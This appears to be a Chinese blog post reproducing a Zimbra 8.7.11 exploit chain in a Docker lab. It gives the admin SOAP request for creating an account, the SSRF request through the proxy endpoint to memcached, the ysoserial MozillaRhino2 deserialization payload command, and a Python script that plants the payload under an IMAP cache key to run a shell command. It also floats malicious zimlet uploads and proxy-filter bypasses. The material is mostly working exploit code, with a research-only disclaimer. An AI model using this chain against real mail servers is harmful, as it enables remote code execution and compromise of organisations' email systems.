Zimbra SSRF+Memcached+反序列化漏洞利用复现
前言之前懒了一下,没复现memcached反序列化的部分。在看本文之前请先看完上一篇复现:https://blog.csdn.net/fnmsd/article/details/88657083本篇复现基于8.7.11进行复现,就是官网上直接下的。纯技术研究,请勿使用在非法用途。环境搭建直接用docker,https://hub.docker.com/r/jorgedlcruz/zi...
前言
之前懒了一下,没复现memcached反序列化的部分。
在看本文之前请先看完上一篇复现:
https://blog.csdn.net/fnmsd/article/details/88657083
本篇复现基于8.7.11进行复现,就是官网上直接下的。
纯技术研究,请勿使用在非法用途。
环境搭建
直接用docker,https://hub.docker.com/r/jorgedlcruz/zimbra
虚拟机中使用,请给4G以上内存。
docker pull jorgedlcruz/zimbra
docker run -p 25:25 -p 80:80 -p 465:465 -p 587:587 -p 110:110 -p 143:143 -p 993:993 -p 995:995 -p 443:443 -p 8080:8080 -p 8443:8443 -p 7071:7071 -p 9071:9071 -h zimbra-docker.zimbra.io --dns 127.0.0.1 --dns 8.8.8.8 -i -t -e PASSWORD=Zimbra2017 jorgedlcruz/zimbra
如果过程失败就exec到启动的Container里执行:
cd /opt/zimbra-install/zcs-* && ./install.sh -s < /opt/zimbra-install/installZimbra-keystrokes
,基本都是网络问题,重执行几次就好了。安装成功后,再执行如下命令:
/opt/zimbra/libexec/zmsetup.pl -c /opt/zimbra-install/installZimbraScript
su - zimbra -c 'zmcontrol restart'
具体安装过程看docker中的/opt/start.sh
题外话:其实端口不映射出来也没问题,直接访问相应的docker ip就好(172.17.0.2之类的)
获取普通用户
由于memcached的反序列化与邮箱账户有关,此处我们需要一个普通的邮箱。
方法一:通过Admin接口创建用户
依然是通过Proxy走admin soap接口,name需要是个邮箱地址,password6位以上
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
<authToken>***ADMIN_AUTH_TOKEN***</authToken>
</context>
</soap:Header>
<soap:Body>
<CreateAccountRequest name="test@zimbra-docker.zimbra.io" password="test12345" xmlns="urn:zimbraAdmin">
</CreateAccountRequest>
</soap:Body>
</soap:Envelope>
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Hc8oT5Sh-1571041206911)(addUser.png)]
方法二:通过爆破获取
由于Proxy的代码逻辑问题,导致普通账号的Token也可访问Proxy,所以也可以用爆破或者其它方法获取账户。
使用普通账户登陆 AuthRequest的account by设置为name即可,详细说明看《A Saga of Code Executions on Zimbra>。
后面需要用到id,爆破账号的ID可以在web页面登陆后的源码中获取:
SSRF to Memcached 反序列化
题外话:其实Zimbra的memcached默认是开在0.0.0.0上的,似乎是从memcached反射放大ddos开始Zimbra官方建议开到127.0.0.1.
在单机模式下,Imap的zimbraMemcachedClientServerList默认为空,无法使用ImapSession的反序列化,所以需要自己命令行设置下:
su - zimbra
zmprov ms `zmhostname` zimbraMemcachedClientServerList 127.0.0.1
zmcontrol restart #记得重启,其实应该可以直接reload的
然后要拼memcached的Key,此处直接盗图:
cacheKey的规则如下:
zmImap:<accountId>:<folderNo>:<modseq>:<uidvalidity>
accountId就是上面添加用户返回的ID,也可以通过登陆zimbra首页获取,可能还有别的方法,此处不深究。
folderNo就保持2就好了,代表inbox
modseq和uidvalidity可以通过登陆imap获取,有关imap的协议请看这,获取完记得退出。盗图again:
下面生成payload,需要更新ysoserial并重新打包
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar MozillaRhino2 "/bin/touch /tmp/test12345" > wakaka.obj
原文作者说到(大体意思):
Zimbra类库中存在MozillaRhino1所需要用的类,但是yso中的gadget是基于 1.7R2,而zimbra中是是用的1.6R7,会导致gadget断掉,但是作者最后找到了一个新的gadget,也就是MozillaRhino2。
2020.4.10更新:编译好了一份Rhino库改成1.6R7的:
链接:https://pan.baidu.com/s/1UZ7sxI1l0f3EB0MydDu2GQ
提取码:0sgb
一个简单的请求脚本:
import requests
accountid = "1800dbfe-a197-4d73-bab5-87397a4757e1"
folderNo= 2
modseq = 12
uidvalidity = 1
cacheKey ="zmImap:{accountId}:{folderNo}:{modseq}:{uidvalidity}".format(accountId=accountid,folderNo=str(folderNo),modseq=str(modseq),uidvalidity=str(uidvalidity))
print(cacheKey)
with open(r"wakaka.obj","rb") as f:
payload = f.read()
set_command = b"set {cacheKey} 2048 3600 {payloadsize}\r\n".format(cacheKey=cacheKey,payloadsize=str(len(payload)))+payload+"\r\n"
headers = {
"Cookie":"ZM_ADMIN_AUTH_TOKEN=token~~;",
"host":"foo:7071"
}
r = requests.post("https://127.0.0.1/service/proxy?target=http://127.0.0.1:11211",data=set_command,headers=headers,verify=False)
等几秒就可以Ctrl+C了。
imap的log看/opt/zimbra/log/mailbox.log
再次imap登陆同一账号并select inbox
查看/tmp目录
成功执行了命令
一点思考:
在有zimbra管理账号的情况下:
- 是否可以上传上传用插件或者其他自编写恶意插件?
2ndGe0rg3师傅给告诉我可以的,具体实现参考如下内容:- https://github.com/Grynn/zimbra-mirror/blob/master/ZimbraServer/docs/file-upload.txt
- https://files.zimbra.com/docs/soap_api/8.0.4/soap-docs-804/apireference/zimbraAdmin/DeployZimlet.html
- https://github.com/Zimbra/zm-clientuploader-admin-zimlet
- 是否可以用soap API去设置zimbraMemcachedClientServerList并重新加载memcached设置?(ZimbraAdmin API中有ReloadMemcachedClientConfig这么个东西)
经测试: 可以的,zmprov也是调用的soap api的说。
详细参考:
https://wiki.zimbra.com/wiki/Zmprov
https://files.zimbra.com/docs/soap_api/8.0.4/soap-docs-804/api-reference/index.html
ModifyServer和ReloadMemcachedClientConfig两个操作。
事实上如果原来没有设置过zimbraMemcachedClientServerList的话,必须重启服务才能生效的。
在有只有普通账号的情况:
3. 能不能绕过proxy对请求头的过滤,达到一个任意内网访问代理的功能?
这些就哪天不懒的时候再说了:-D
更多推荐
所有评论(0)